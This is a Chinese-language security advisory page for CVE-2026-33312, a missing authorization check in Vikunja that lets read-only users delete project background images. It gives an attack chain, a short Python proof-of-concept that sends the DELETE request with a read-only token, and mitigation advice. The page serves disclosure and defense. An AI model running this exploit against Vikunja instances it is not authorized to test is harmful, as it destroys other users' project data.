IPBUF安全漏洞报告
English
CVE-2026-33312 CVSS 5.4 中危

CVE-2026-33312 Vikunja权限校验缺失致背景删除

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33312
漏洞类型
权限校验缺失/越权删除
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

权限校验缺失越权删除VikunjaCVE-2026-33312API安全

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在0.20.2至2.2.0之前的版本中,删除项目背景图片的API端点存在权限校验逻辑错误。该端点错误地检查了用户的读取权限而非更新权限,导致拥有只读权限的攻击者可以永久删除项目背景图片,破坏了数据的完整性和可用性。该漏洞已在2.2.0版本中修复。

技术细节

该漏洞的根源在于Vikunja后端API对`DELETE /api/v1/projects/:project/background`接口的权限控制逻辑存在严重缺陷。正常的安全设计原则要求,删除资源或修改资源状态的操作必须验证用户是否拥有相应的修改权限(如`CanUpdate`或`CanDelete`)。然而,在受影响的版本中,开发人员错误地使用了仅用于读取操作的权限校验逻辑(`CanRead`)来授权删除请求。攻击者只需拥有目标项目的只读访问权限,即可构造并发送恶意的HTTP DELETE请求至该端点。由于服务器端的权限校验模型存在逻辑漏洞,请求会被错误地判定为合法,从而执行删除操作。这导致项目背景图片被永久移除,造成了典型的越权漏洞,不仅破坏了数据的完整性,也影响了系统的可用性。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个Vikunja平台的普通用户账户,并获得目标项目的只读访问权限。
STEP 2
2. 识别目标ID
攻击者通过浏览项目或API调用,确定想要破坏的项目ID (project_id)。
STEP 3
3. 构造恶意请求
攻击者构造一个HTTP DELETE请求,指向`/api/v1/projects/{project_id}/background`端点,并携带只读用户的Token。
STEP 4
4. 执行删除操作
服务器接收请求,错误地通过`CanRead`权限校验,执行删除逻辑,永久移除项目背景图片。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://<vikunja-host>/api/v1/projects/<project_id>/background" # Headers with Authorization token (Read-only user token) headers = { "Authorization": "Bearer <READ_ONLY_USER_TOKEN>", "Content-Type": "application/json" } try: # Send DELETE request to exploit the vulnerability response = requests.delete(target_url, headers=headers) if response.status_code == 200: print("[+] Success: Project background deleted successfully.") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Vikunja >= 0.20.2, < 2.2.0

防御指南

临时缓解措施
如果无法立即升级,建议通过Web应用防火墙(WAF)拦截对`/api/v1/projects/*/background`路径的DELETE请求,或者暂时禁用项目背景图片功能,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表